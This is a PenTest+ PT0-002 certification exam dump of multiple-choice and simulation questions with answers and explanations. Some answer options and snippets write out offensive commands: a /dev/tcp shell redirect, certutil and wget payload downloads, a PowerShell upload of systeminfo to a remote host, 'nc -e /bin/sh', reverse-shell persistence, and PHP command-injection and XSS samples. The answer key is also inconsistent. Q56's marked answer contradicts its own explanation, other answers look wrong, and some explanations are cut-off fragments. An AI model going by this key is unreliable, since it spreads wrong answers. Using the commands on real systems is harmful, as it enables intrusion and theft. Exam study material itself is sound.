

# CompTIA

## Exam Questions PT0-002

CompTIA PenTest+ Certification Exam



**NEW QUESTION 1**

You are a penetration tester running port scans on a server. INSTRUCTIONS

Part 1: Given the output, construct the command that was used to generate this output from the available options.

Part 2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

**Penetration Testing**

Part 1      Part 2

Drag and Drop Options

-sL

-O

192.168.2.2

-sU

-sV

-p 1-1023

192.168.2.1-100

-Pn

nc

--top-ports=1000

hping

--top-ports=100

nmap

NMAP Scan Output

```

Host is up (0.00079s latency).
Not shown: 96 closed ports.
PORT STATE SERVICE VERSION
88/tcp open  kerberos-sec?
139/tcp open netbios-ssn
389/tcp open  ldap?
445/tcp open  microsoft-ds?
MAC Address: 08:00:27:81:B1:DF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux_kernel:2.4.21
OS details: Linux 2.4.21
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/.
# Scan done at Fri Oct 13 10:03:06 2017 - 1 IP address (1 host up)
scanned in 26.80 seconds
                
```

Command

?

**Penetration Testing**

Part 1      Part 2

Question Options

Using the output, identify potential attack vectors that should be further investigated.

- Weak SMB file permissions
- FTP anonymous login
- Webdav file upload
- Weak Apache Tomcat Credentials
- Null session enumeration
- Fragmentation attack
- SNMP enumeration
- ARP spoofing

NMAP Scan Output

```

Host is up (0.00079s latency).
Not shown: 96 closed ports.
PORT STATE SERVICE VERSION
88/tcp open  kerberos-sec?
139/tcp open netbios-ssn
389/tcp open  ldap?
445/tcp open  microsoft-ds?
MAC Address: 08:00:27:81:B1:DF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux_kernel:2.4.21
OS details: Linux 2.4.21
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/.
# Scan done at Fri Oct 13 10:03:06 2017 - 1 IP address (1 host up)
scanned in 26.80 seconds
                
```

- A. Mastered
- B. Not Mastered

**Answer:** A

**Explanation:**

Part 1 - 192.168.2.2 -O -sV --top-ports=100 and SMB vulns

Part 2 - Weak SMB file permissions

<https://subscription.packtpub.com/book/networking-and-servers/9781786467454/1/ch01lv1sec13/fingerprinting>

### NEW QUESTION 2

During the reconnaissance phase, a penetration tester obtains the following output:

Reply from 192.168.1.23: bytes=32 time<54ms TTL=128

Reply from 192.168.1.23: bytes=32 time<53ms TTL=128

Reply from 192.168.1.23: bytes=32 time<60ms TTL=128

Reply from 192.168.1.23: bytes=32 time<51ms TTL=128

Which of the following operating systems is MOST likely installed on the host?

- A. Linux
- B. NetBSD
- C. Windows
- D. macOS

**Answer:** C

#### Explanation:

The output shows the result of a ping command, which sends packets to a host and receives replies. The ping command can be used to determine if a host is alive and reachable on the network. One of the information that the ping command displays is the Time to Live (TTL) value, which indicates how many hops a packet can travel before it is discarded. The TTL value can also be used to guess the operating system of the host, as different operating systems have different default TTL values. In this case, the TTL value is 128, which is the default value for Windows operating systems. Linux and macOS have a default TTL value of 64, while NetBSD has a default TTL value of 255.

### NEW QUESTION 3

Which of the following documents is agreed upon by all parties associated with the penetration-testing engagement and defines the scope, contacts, costs, duration, and deliverables?

- A. SOW
- B. SLA
- C. MSA
- D. NDA

**Answer:** A

#### Explanation:

The document that is agreed upon by all parties associated with the penetration-testing engagement and defines the scope, contacts, costs, duration, and deliverables is the SOW (Statement of Work). The SOW is a formal document that describes the objectives, expectations, and responsibilities of the penetration-testing project. The SOW should be clear, concise, and comprehensive to avoid any ambiguity or misunderstanding.

### NEW QUESTION 4

Which of the following is the MOST effective person to validate results from a penetration test?

- A. Third party
- B. Team leader
- C. Chief Information Officer
- D. Client

**Answer:** B

### NEW QUESTION 5

A penetration tester ran the following command on a staging server:

```
python -m SimpleHTTPServer 9891
```

Which of the following commands could be used to download a file named exploit to a target machine for execution?

- A. nc 10.10.51.50 9891 < exploit
- B. powershell -exec bypass -f \\10.10.51.50\9891
- C. bash -i >& /dev/tcp/10.10.51.50/9891 0&1>/exploit
- D. wget 10.10.51.50:9891/exploit

**Answer:** D

### NEW QUESTION 6

A security company has been contracted to perform a scoped insider-threat assessment to try to gain access to the human resources server that houses PII and salary data. The penetration testers have been given an internal network starting position.

Which of the following actions, if performed, would be ethical within the scope of the assessment?

- A. Exploiting a configuration weakness in the SQL database
- B. Intercepting outbound TLS traffic
- C. Gaining access to hosts by injecting malware into the enterprise-wide update server
- D. Leveraging a vulnerability on the internal CA to issue fraudulent client certificates
- E. Establishing and maintaining persistence on the domain controller

**Answer:** B

### NEW QUESTION 7

A penetration tester is assessing a wireless network. Although monitoring the correct channel and SSID, the tester is unable to capture a handshake between the clients and the AP. Which of the following attacks is the MOST effective to allow the penetration tester to capture a handshake?

- A. Key reinstatement

- B. Deauthentication
- C. Evil twin
- D. Replay

**Answer:** B

**Explanation:**

Deauth will make the client connect again

**NEW QUESTION 8**

A penetration tester who is working remotely is conducting a penetration test using a wireless connection. Which of the following is the BEST way to provide confidentiality for the client while using this connection?

- A. Configure wireless access to use a AAA server.
- B. Use random MAC addresses on the penetration testing distribution.
- C. Install a host-based firewall on the penetration testing distribution.
- D. Connect to the penetration testing company's VPS using a VPN.

**Answer:** D

**Explanation:**

The best way to provide confidentiality for the client while using a wireless connection is to connect to the penetration testing company's VPS using a VPN. This will encrypt the traffic between the penetration tester and the VPS, and prevent any eavesdropping or interception by third parties. A VPN will also allow the penetration tester to access the client's network securely and bypass any firewall or network restrictions.

**NEW QUESTION 9**

Which of the following should a penetration tester do NEXT after identifying that an application being tested has already been compromised with malware?

- A. Analyze the malware to see what it does.
- B. Collect the proper evidence and then remove the malware.
- C. Do a root-cause analysis to find out how the malware got in.
- D. Remove the malware immediately.
- E. Stop the assessment and inform the emergency contact.

**Answer:** E

**Explanation:**

Stopping the assessment and informing the emergency contact is the best thing to do next after identifying that an application being tested has already been compromised with malware. This is because continuing the assessment might interfere with an ongoing investigation or compromise evidence collection. The emergency contact is the person designated by the client who should be notified in case of any critical issues or incidents during the penetration testing engagement.

**NEW QUESTION 10**

A penetration tester breaks into a company's office building and discovers the company does not have a shredding service. Which of the following attacks should the penetration tester try next?

- A. Dumpster diving
- B. Phishing
- C. Shoulder surfing
- D. Tailgating

**Answer:** A

**Explanation:**

The penetration tester should try dumpster diving next, which is an attack that involves searching through trash bins or dumpsters for discarded documents or items that may contain sensitive or useful information. Dumpster diving can reveal information such as passwords, account numbers, credit card numbers, invoices, receipts, memos, contracts, or employee records. The penetration tester can use this information to gain access to systems or networks, impersonate users or employees, or perform social engineering attacks. The other options are not likely attacks that the penetration tester should try next based on the discovery that the company does not have a shredding service. Phishing is an attack that involves sending fraudulent emails that appear to be from legitimate sources to trick users into revealing their credentials or clicking on malicious links or attachments. Shoulder surfing is an attack that involves observing or spying on users while they enter their credentials or perform other tasks on their devices. Tailgating is an attack that involves following authorized personnel into a restricted area without proper authorization or identification.

**NEW QUESTION 10**

Appending string values onto another string is called:

- A. compilation
- B. connection
- C. concatenation
- D. conjunction

**Answer:** C

**Explanation:**

Concatenation is the term used to describe the process of appending string values onto another string. In Python, concatenation can be done using the + operator, such as "Hello" + "World" = "HelloWorld".

#### NEW QUESTION 14

Penetration-testing activities have concluded, and the initial findings have been reviewed with the client. Which of the following best describes the NEXT step in the engagement?

- A. Acceptance by the client and sign-off on the final report
- B. Scheduling of follow-up actions and retesting
- C. Attestation of findings and delivery of the report
- D. Review of the lessons learned during the engagement

**Answer:** C

#### NEW QUESTION 15

A penetration tester gives the following command to a systems administrator to execute on one of the target servers:

```
rm -f /var/www/html/G679h32gYu.php
```

Which of the following BEST explains why the penetration tester wants this command executed?

- A. To trick the systems administrator into installing a rootkit
- B. To close down a reverse shell
- C. To remove a web shell after the penetration test
- D. To delete credentials the tester created

**Answer:** C

#### Explanation:

s for why the penetration tester wants this command executed.

#### NEW QUESTION 20

Which of the following BEST explains why a penetration tester cannot scan a server that was previously scanned successfully?

- A. The IP address is wrong.
- B. The server is unreachable.
- C. The IP address is on the blacklist.
- D. The IP address is on the allow list.

**Answer:** C

#### Explanation:

for why a penetration tester cannot scan a server that was previously scanned successfully is that the IP address is on the blacklist. Blacklists are used to prevent malicious actors from scanning servers, and if the IP address of the server is on the blacklist, the scanning process will be blocked.

#### NEW QUESTION 21

A penetration tester who is doing a company-requested assessment would like to send traffic to another system using double tagging. Which of the following techniques would BEST accomplish this goal?

- A. RFID cloning
- B. RFID tagging
- C. Meta tagging
- D. Tag nesting

**Answer:** D

#### Explanation:

since vlan hopping requires 2 vlans to be nested in a single packet. Double tagging occurs when an attacker adds and modifies tags on an Ethernet frame to allow the sending of packets through any VLAN. This attack takes advantage of how many switches process tags. Most switches will only remove the outer tag and forward the frame to all native VLAN ports. With that said, this exploit is only successful if the attacker belongs to the native VLAN of the trunk link.

<https://cybersecurity.att.com/blogs/security-essentials/vlan-hopping-and-mitigation>

Tag nesting is a technique that involves inserting two VLAN tags into an Ethernet frame to bypass VLAN hopping prevention mechanisms. The first tag is stripped by the first switch, and the second tag is processed by the second switch, allowing the frame to reach a different VLAN than intended. RFID cloning is a technique that involves copying the data from an RFID tag to another tag or device. RFID tagging is a technique that involves attaching an RFID tag to an object or person for identification or tracking purposes. Meta tagging is a technique that involves adding metadata to web pages or files for search engine optimization or classification purposes.

#### NEW QUESTION 23

A penetration tester runs the unshadow command on a machine. Which of the following tools will the tester most likely use NEXT?

- A. John the Ripper
- B. Hydra
- C. Mimikatz
- D. Cain and Abel

**Answer:** A

#### NEW QUESTION 26

A penetration tester discovers during a recent test that an employee in the accounting department has been making changes to a payment system and redirecting money into a personal bank account. The penetration test was immediately stopped. Which of the following would be the BEST recommendation to prevent this type of activity in the future?

- A. Enforce mandatory employee vacations
- B. Implement multifactor authentication
- C. Install video surveillance equipment in the office
- D. Encrypt passwords for bank account information

**Answer:** A

**Explanation:**

If the employee already works in the accounting department, MFA will not stop their actions because they'll already have access by virtue of their job. Enforcing mandatory employee vacations is the best recommendation to prevent this type of activity in the future, as it will make it harder for an employee to conceal fraudulent transactions or unauthorized changes to a payment system. Mandatory employee vacations are a form of internal control that requires employees to take time off from work periodically and have their duties performed by someone else. This can help detect errors, irregularities, or frauds committed by employees who might otherwise have exclusive access or control over certain processes or systems.

**NEW QUESTION 27**

A client would like to have a penetration test performed that leverages a continuously updated TTPs framework and covers a wide variety of enterprise systems and networks. Which of the following methodologies should be used to BEST meet the client's expectations?

- A. OWASP Top 10
- B. MITRE ATT&CK framework
- C. NIST Cybersecurity Framework
- D. The Diamond Model of Intrusion Analysis

**Answer:** B

**Explanation:**

The MITRE ATT&CK framework is a methodology that should be used to best meet the client's expectations. The MITRE ATT&CK framework is a knowledge base of adversary tactics, techniques, and procedures (TTPs) that are continuously updated based on real-world observations. The framework covers a wide variety of enterprise systems and networks, such as Windows, Linux, macOS, cloud, mobile, and network devices. The framework can help the penetration tester to emulate realistic threats and identify gaps in defenses.

**NEW QUESTION 29**

An organization wants to identify whether a less secure protocol is being utilized on a wireless network. Which of the following types of attacks will achieve this goal?

- A. Protocol negotiation
- B. Packet sniffing
- C. Four-way handshake
- D. Downgrade attack

**Answer:** D

**Explanation:**

A downgrade attack is a type of attack that exploits a vulnerability in the protocol negotiation process between a client and a server to force them to use a less secure protocol than they originally intended. A downgrade attack can be used to identify whether a less secure protocol is being utilized on a wireless network by intercepting and modifying the messages exchanged during the protocol negotiation phase, such as the association request and response frames, and making the client and the server agree on a weaker protocol, such as WEP or WPA, instead of a stronger one, such as WPA2 or WPA3. A downgrade attack can also enable the attacker to perform other attacks, such as cracking the encryption keys or capturing the network traffic, more easily by taking advantage of the weaknesses of the less secure protocol. A downgrade attack can be performed by using tools such as Airgeddon, which is a multi-use bash script for Linux systems to audit wireless networks<sup>1</sup>.

**NEW QUESTION 33**

A penetration tester found several critical SQL injection vulnerabilities during an assessment of a client's system. The tester would like to suggest mitigation to the client as soon as possible.

Which of the following remediation techniques would be the BEST to recommend? (Choose two.)

- A. Closing open services
- B. Encryption users' passwords
- C. Randomizing users' credentials
- D. Users' input validation
- E. Parameterized queries
- F. Output encoding

**Answer:** DE

**Explanation:**

SQL injection is a type of attack that exploits a vulnerability in a web application that allows an attacker to execute malicious SQL statements on a database server. SQL injection can result in data theft, data corruption, authentication bypass, or command execution. To mitigate SQL injection vulnerabilities, the following remediation techniques are recommended:

- Users' input validation: This involves checking and sanitizing the user input before passing it to the database server. Input validation can prevent malicious or unexpected input from reaching the database server and causing harm. Input validation can be done by using whitelists, blacklists, regular expressions, or escaping mechanisms.
- Parameterized queries: This involves using placeholders or parameters for user input instead of concatenating it with the SQL statement. Parameterized queries can separate the user input from the SQL logic and prevent it from being interpreted as part of the SQL statement. Parameterized queries can be implemented by using prepared statements, stored procedures, or frameworks that support them. The other options are not relevant or effective remediation techniques for SQL injection vulnerabilities.

**NEW QUESTION 36**

A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:

```
if(isset ($_POST ['item'])) {
    echo shell_exec ("/http/www/cgi-bin/queryitem ".$_POST ['item']);
}
```

Which of the following combinations of tools would the penetration tester use to exploit this script?

- A. Hydra and crunch
- B. Netcat and cURL
- C. Burp Suite and DIRB
- D. Nmap and OWASP ZAP

**Answer: B**

#### NEW QUESTION 38

A company that developers embedded software for the automobile industry has hired a penetration-testing team to evaluate the security of its products prior to delivery. The penetration-testing team has stated its intent to subcontract to a reverse-engineering team capable of analyzing binaries to develop proof-of-concept exploits. The software company has requested additional background investigations on the reverse-engineering team prior to approval of the subcontract. Which of the following concerns would BEST support the software company's request?

- A. The reverse-engineering team may have a history of selling exploits to third parties.
- B. The reverse-engineering team may use closed-source or other non-public information feeds for its analysis.
- C. The reverse-engineering team may not instill safety protocols sufficient for the automobile industry.
- D. The reverse-engineering team will be given access to source code for analysis.

**Answer: A**

#### NEW QUESTION 41

Which of the following OSSTM testing methodologies should be used to test under the worst conditions?

- A. Tandem
- B. Reversal
- C. Semi-authorized
- D. Known environment

**Answer: D**

#### Explanation:

The OSSTM testing methodology that should be used to test under the worst conditions is known environment, which is a testing approach that assumes that the tester has full knowledge of the target system or network, such as its architecture, configuration, vulnerabilities, or defenses. A known environment testing can simulate a worst-case scenario, where an attacker has gained access to sensitive information or insider knowledge about the target, and can exploit it to launch more sophisticated or targeted attacks. A known environment testing can also help identify the most critical or high-risk areas of the target, and provide recommendations for improving its security posture. The other options are not OSSTM testing methodologies that should be used to test under the worst conditions. Tandem is a testing approach that involves two testers working together on the same target, one as an attacker and one as a defender, to simulate a realistic attack scenario and evaluate the effectiveness of the defense mechanisms. Reversal is a testing approach that involves switching roles between the tester and the client, where the tester acts as a defender and the client acts as an attacker, to assess the security awareness and skills of the client. Semi-authorized is a testing approach that involves giving partial or limited authorization or access to the tester, such as a user account or a network segment, to simulate an attack scenario where an attacker has compromised a legitimate user or device.

#### NEW QUESTION 46

Which of the following BEST describe the OWASP Top 10? (Choose two.)

- A. The most critical risks of web applications
- B. A list of all the risks of web applications
- C. The risks defined in order of importance
- D. A web-application security standard
- E. A risk-governance and compliance framework
- F. A checklist of Apache vulnerabilities

**Answer: AC**

#### Explanation:

These two options best describe the OWASP Top 10, which stands for Open Web Application Security Project Top 10 and is a list of the most critical web application security risks based on data from various sources and experts. The list is updated periodically to reflect changes in technology and threat landscape. The list also ranks the risks in order of importance based on their prevalence, impact, and ease of exploitation or remediation. The other options are not accurate descriptions of the OWASP Top 10. The list does not cover all the risks of web applications, but rather focuses on the most common and severe ones. The list is not a web application security standard, but rather a guideline or reference for developers, testers, and security professionals. The list is not a risk-governance and compliance framework, but rather a resource or tool for identifying and mitigating web application vulnerabilities. The list is not a checklist of Apache vulnerabilities, but rather a general list of web application risks that apply to any web server or platform.

#### NEW QUESTION 49

A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following should the tester do NEXT?

- A. Reach out to the primary point of contact
- B. Try to take down the attackers

- C. Call law enforcement officials immediately
- D. Collect the proper evidence and add to the final report

**Answer:** A

**Explanation:**

The penetration tester should reach out to the primary point of contact as soon as possible to inform them of the critical vulnerability and the active exploitation by cybercriminals. This is the most responsible and ethical course of action, as it allows the client to take immediate steps to mitigate the risk and protect their assets. The other options are not appropriate or effective in this situation. Trying to take down the attackers would be illegal and dangerous, as it may escalate the conflict or cause collateral damage. Calling law enforcement officials immediately would be premature and unnecessary, as it may involve disclosing confidential information or violating the scope of the engagement. Collecting the proper evidence and adding to the final report would be too slow and passive, as it would delay the notification and remediation of the vulnerability.

**NEW QUESTION 54**

Which of the following describes the reason why a penetration tester would run the command `sdelete mimikatz. *` on a Windows server that the tester compromised?

- A. To remove hash-cracking registry entries
- B. To remove the tester-created Mimikatz account
- C. To remove tools from the server
- D. To remove a reverse shell from the system

**Answer:** B

**NEW QUESTION 56**

An assessment has been completed, and all reports and evidence have been turned over to the client. Which of the following should be done NEXT to ensure the confidentiality of the client's information?

- A. Follow the established data retention and destruction process
- B. Report any findings to regulatory oversight groups
- C. Publish the findings after the client reviews the report
- D. Encrypt and store any client information for future analysis

**Answer:** D

**Explanation:**

After completing an assessment and providing the report and evidence to the client, it is important to follow the established data retention and destruction process to ensure the confidentiality of the client's information. This process typically involves securely deleting or destroying any data collected during the assessment that is no longer needed, and securely storing any data that needs to be retained. This helps to prevent unauthorized access to the client's information and protects the client's confidentiality.

Reporting any findings to regulatory oversight groups may be necessary in some cases, but it should be done only with the client's permission and in accordance with any relevant legal requirements. Publishing the findings before the client has reviewed the report is also not recommended, as it may breach the client's confidentiality and damage their reputation. Encrypting and storing client information for future analysis is also not recommended unless it is necessary and in compliance with any legal or ethical requirements.

**NEW QUESTION 61**

A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit misconfigured service permissions. Which of the following commands would help the tester START this process?

- A. `Certutil -urlcache -split -f http://192.168.2.124/windows-binaries/ accesschk64.exe`
- B. `powershell (New-Object System.Net.WebClient).UploadFile('http://192.168.2.124/ upload.php', 'systeminfo.txt')`
- C. `schtasks /query /fo LIST /v | find /I "Next Run Time:"`
- D. `Wget http://192.168.2.124/windows-binaries/accesschk64.exe -O accesschk64.exe`

**Answer:** A

**Explanation:**

<https://www.bleepingcomputer.com/news/security/certutilexe-could-allow-attackers-to-download-malware-while-downloading-accesschk64-exe/>

The `certutil` command is a Windows utility that can be used to manipulate certificates and certificate authorities. However, it can also be abused by attackers to download files from remote servers using the `-urlcache` option. In this case, the command downloads `accesschk64.exe` from `http://192.168.2.124/windows-binaries/` and saves it locally. `Accesschk64.exe` is a tool that can be used to check service permissions and identify potential privilege escalation vectors. The other commands are not relevant for this purpose. Powershell is a scripting language that can be used to perform various tasks, but in this case it uploads a file instead of downloading one. `Schtasks` is a command that can be used to create or query scheduled tasks, but it does not help with service permissions. `Wget` is a Linux command that can be used to download files from the web, but it does not work on Windows by default.

**NEW QUESTION 65**

You are a penetration tester reviewing a client's website through a web browser. INSTRUCTIONS

Review all components of the website through the browser to determine if vulnerabilities are present. Remediate ONLY the highest vulnerability from either the certificate, source, or cookies.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.



Secure System

```

https://comptia.org/login.aspx#viewsource

<html>
<head>
<title>Secure Login </title>
</head>
<body>
<meta
content="c2RmZGZnaHNzZmtqbGdoc2Rma2pnaGRzZmpoZGZvaW2aGRmc29pYmp3ZXiudWVdm9pb2hzZGd1aWJoaGR1ZmZpZ2hzZDtpYmhqZHNmc291Ymduc3d5ZGi1Z2Zi
bnNkbGlqO2Job3VpYXNpZGZubXM7bGkZmliaHZsb3NhZGJua2N4dnZ1aWdia3NqYVWVqa2JmbG11Y3Z222JobGFzZwJmaXVvZGZidmxiamFmbGhkc3VmZyBuc2pyZ2hzZHVmaG
d1d3NmZ2hqZHNmZmJ1c2hmdWRzZmZoZ3U3cndweWhmamRzZmZ2bnVzZm53cnVMYnZ1ZXJ2=="name="csrf-token"/>
<select><script>
document.write("<OPTION value=1>"*document.location.href.substring(document.location.href.indexOf("=")+16)+"</OPTION>");
</script></select>
<div align="center">
<form action="c:url value='main.do'"method="post">
<div style="margin-top: 200px;margin-bottom: 10px;">
<span style="width: 500px;color: blue;font-size: 30px;font-weight: bold;border-bottom: 1 px solid blue;">Comptia Secure System Login</span>
</div>
<div style="margin-bottom: 5px;">
<span style="width: 100px;">Name</span>
<input style="width: 150px;"type="text" name="name" id="name" value="">
<!-- input style="width: 150px;"type="text" name="name" id="name" value="admin"-->
</div>
<div><span style="width: 100px;">Password: </span><input style="width: 150px;" type="password" name="Password" id="password" value="">
<!--div><span style="width: 100px;">Password: </span><input style="width: 150px;" type="password" name="Password" id="password" value="password" -->
    
```

**Secure System**

← → ↻ <https://comptia.org/login.aspx#viewcookies>

Name	Value	Domain	Path	Expires/...	Size	HTTP	Secure	SameSite
ASP.NET_SessionId	h1bcdtse2ewwqf4bdcb3v	www.com...	/	Session	41			
__utma	36104370.911013732.1508266963.1508266963.1508266963.1	.comptia.o...	/	2019-10-1...	59			
__utmb	361044370.7.9.1508267988443	.comptia.o...	/	2017-10-1...	32			
__utmc	36104370	.comptia.o...	/	Session	14			
__utmt	1	.comptia.o...	/	2017-10-1...	7			
__utmv	36104370. 2=Account%20Type=Not%20Defined=1	.comptia.o...	/	2019-10-1...	48			
__utmz	36104370.1508266963.1.1.utmcsr=google utmccn=(organic) utm...	.comptia.o...	/	2018-04-1...	99			
_sp_id.0767	4a84866c6fff51c.1508266964.1.1508258019.1508266964.81ff34f7...	.comptia.o...	/	2019-10-1...	99			
sp_ses.0767	*	.comptia.o...	/	2017-10-1...	13			

**Secure System**

← → ↻ <https://comptia.org/login.aspx#remediatesource>

```

1 <html>
2 <head>
3 <title>Secure Login </title>
4 </head>
5 <body>
6 <meta
7 content="c2RmZGZnaHNzZmtqbGdvc2Rma2pnaGRzmpoZGZvaW2aGRmc29pYmp3ZXindWvd9pb2hzZGd1aVWJoaGR1ZmZpZ2hzZDtpYmhqZHNmc291Ymdoc3d5ZG1Z2Zi
8 bnNkbGtqO2Job3VpYXNpZGZubXM7bGtkaZmliaHZsb3NhZGJua2N4dnZ1aWdia3NqYVWVqa2JmbGI1Y3Z2Z2JobGFzZwJmaXVkaZGidmxiambGhkc3VmZyBuc2pyZ2hzZHVmaG
9 d1d3NmZ2hqZHNmZmJ1c2hmdWRzZmZ3U3cndweWhmamRzZmZ2bnVzZm53cnVMYnZ1ZXJ2=="name="csr-token"/>
10 <select><script>
11 document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("=")+16)+"</OPTION>");
12 </script></select>
13 <div align="center">
14 <form action="<c:url value='main.do'/>"method="post">
15 <div style="margin-top:200px;margin-bottom:10px,">
16 <span style="width:500px,color:blue;font-size:30px;font-weight:bold;border-bottom:1px solid blue,">Comptia Secure System Login</span>
17 </div>
18 <div style="margin-bottom:5px,">
19 <span style="width:100px,">Name</span>
20 <input style="width:150px,"type="text" name="name" id="name" value="">
21 <!-- input style="width:150px,"type="text" name="name" id="name" value="admin"-->
22 </div>
23 <div><span style="width:100px,">Password: </span><input style="width:150px," type="password" name="Password" id="password" value="">
24 <!--div><span style="width:100px,">Password: </span><input style="width:150px," type="password" name="Password" id="password" value="password" -->

```

**Secure System**

← → ↻ <https://comptia.org/login.aspx#remediatecookies>

Name	Value	Domain	Path	Expires/...	Size	HTTP	Secure	SameSite
ASP.NET_SessionId	h1bcdtse2ewwqf4bdcb3v	www.com...	/	Session	41	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/> delete
__utma	36104370.911013732.1508266963.1508266963.1508266963.1	.comptia.o...	/	2019-10-1...	59	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/> delete
__utmb	361044370.7.9.1508267988443	.comptia.o...	/	2017-10-1...	32	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/> delete
__utmc	36104370	.comptia.o...	/	Session	14	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/> delete
__utmt	1	.comptia.o...	/	2017-10-1...	7	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/> delete
__utmv	36104370. 2=Account%20Type=Not%20Defined=1	.comptia.o...	/	2019-10-1...	48	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/> delete
__utmz	36104370.1508266963.1.1.utmcsr=google utmccn=(organic) utm...	.comptia.o...	/	2018-04-1...	99	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/> delete
_sp_id.0767	4a84866c6fff51c.1508266964.1.1508258019.1508266964.81ff34f7...	.comptia.o...	/	2019-10-1...	99	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/> delete
sp_ses.0767	*	.comptia.o...	/	2017-10-1...	13	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/> delete



**Drag and Drop Options**

Remove certificate from server

Generate a Certificate Signing Request

Submit CSR to the CA

Install re-issued certificate on the server

Step 1

Step 2

Step 3

Step 4

- A. Mastered
- B. Not Mastered

**Answer:** A

**Explanation:**

Graphical user interface Description automatically generated

**NEW QUESTION 70**

A penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot. Which of the following techniques would BEST support this objective?

- A. Create a one-shot system service to establish a reverse shell.
- B. Obtain /etc/shadow and brute force the root password.
- C. Run the nc -e /bin/sh <...> command.
- D. Move laterally to create a user account on LDAP

**Answer:** A

**Explanation:**

<https://hosakacorp.net/p/systemd-user.html>

Creating a one-shot system service to establish a reverse shell is a technique that would best support maintaining persistence after reboot on a Linux-based file server. A system service is a program that runs in the background and performs various tasks without user interaction. A one-shot system service is a type of service that runs only once and then exits. A reverse shell is a type of shell that connects back to an attacker-controlled machine and allows remote command execution. By creating a one-shot system service that runs a reverse shell script at boot time, the penetration tester can ensure persistent access to the file server even after reboot.

**NEW QUESTION 71**

A penetration tester needs to upload the results of a port scan to a centralized security tool. Which of the following commands would allow the tester to save the results in an interchangeable format?

- A. nmap -iL results 192.168.0.10-100
- B. nmap 192.168.0.10-100 -O > results
- C. nmap -A 192.168.0.10-100 -oX results
- D. nmap 192.168.0.10-100 | grep "results"

**Answer:** C

**NEW QUESTION 73**

A penetration tester is scanning a corporate lab network for potentially vulnerable services. Which of the following Nmap commands will return vulnerable ports that might be interesting to a potential attacker?

- A. nmap192.168.1.1-5-PU22-25,80
- B. nmap192.168.1.1-5-PA22-25,80
- C. nmap192.168.1.1-5-PS22-25,80
- D. nmap192.168.1.1-5-Ss22-25,80

**Answer:** C

**Explanation:**

PS/PA/PU/PY are host discovery flags which use TCP SYN/ACK, UDP or SCTP discovery respectively. And since the ports in the options are mostly used by TCP protocols, then it's either the PS or PA flag. But since we need to know if the ports are live, sending SYN packet is a better alternative. Hence, I choose PS in this case.

The nmap -PS22-25,80 192.168.1.1-5 command will return vulnerable ports that might be interesting to a potential attacker, as it will perform a TCP SYN scan on ports 22, 23, 24, 25, and 80 of the target hosts. A TCP SYN scan is a stealthy technique that sends a SYN packet to each port and waits for a response. If the response is a SYN/ACK packet, it means the port is open and listening for connections. If the response is a RST packet, it means the port is closed and not accepting connections. If there is no response, it means the port is filtered by a firewall or IDS1.

**NEW QUESTION 74**

A new security firm is onboarding its first client. The client only allowed testing over the weekend and needed the results Monday morning. However, the assessment team was not able to access the environment as expected until Monday. Which of the following should the security company have acquired BEFORE the start of the assessment?

- A. A signed statement of work
- B. The correct user accounts and associated passwords
- C. The expected time frame of the assessment
- D. The proper emergency contacts for the client

**Answer: A**

**Explanation:**

According to the CompTIA PenTest+ Study Guide, Exam PT0-0021, a statement of work (SOW) is a document that defines the scope, objectives, deliverables, and terms of a penetration testing project. It is a formal agreement between the service provider and the client that specifies what is expected from both parties, including the timeline, budget, resources, and responsibilities. A SOW is essential for any penetration testing engagement, as it helps to avoid misunderstandings, conflicts, and legal issues.

The CompTIA PenTest+ Study Guide also provides an example of a SOW template that covers the following sections1:

- Project overview: A brief summary of the project's purpose, scope, objectives, and deliverables.
- Project scope: A detailed description of the target system, network, or application that will be tested, including the boundaries, exclusions, and assumptions.
- Project objectives: A clear statement of the expected outcomes and benefits of the project, such as identifying vulnerabilities, improving security posture, or complying with regulations.
- Project deliverables: A list of the tangible products or services that will be provided by the service provider to the client, such as reports, recommendations, or remediation plans.
- Project timeline: A schedule of the project's milestones and deadlines, such as kickoff meeting, testing phase, reporting phase, or closure meeting.
- Project budget: A breakdown of the project's costs and expenses, such as labor hours, travel expenses, tools, or licenses.
- Project resources: A specification of the project's human and technical resources, such as team members, roles, responsibilities, skills, or equipment.
- Project terms and conditions: A statement of the project's legal and contractual aspects, such as confidentiality, liability, warranty, or dispute resolution.

The CompTIA PenTest+ Study Guide also explains why having a SOW is important before starting an assessment1:

- It establishes a clear and mutual understanding of the project's scope and expectations between the service provider and the client.
- It provides a basis for measuring the project's progress and performance against the agreed-upon objectives and deliverables.
- It protects both parties from potential risks or disputes that may arise during or after the project.

**NEW QUESTION 75**

The following output is from reconnaissance on a public-facing banking website:

```
...
Start 2021-02-02 18:24:59 -->> 192.168.1.66:443 (192.168.1.66) <<--
rDNS (192.168.1.66): centralbankwebservice.local
Service detected: HTTP

Testing protocols via sockets except NPN+ALPN
SSLv2 not offered (OK)
SSLv3 not offered (OK)
TLS 1 offered (deprecated)
TLS 1.1 not offered
TLS 1.2 not offered and downgraded to a weaker protocol
TLS 1.3 not offered and downgraded to a weaker protocol
NPN/SPDY not offered
ALPN/HTTP2 not offered
Testing cipher categories
NULL ciphers (no encryption) not offered (OK)
Anonymous NULL Ciphers (no authentication) not offered (OK)
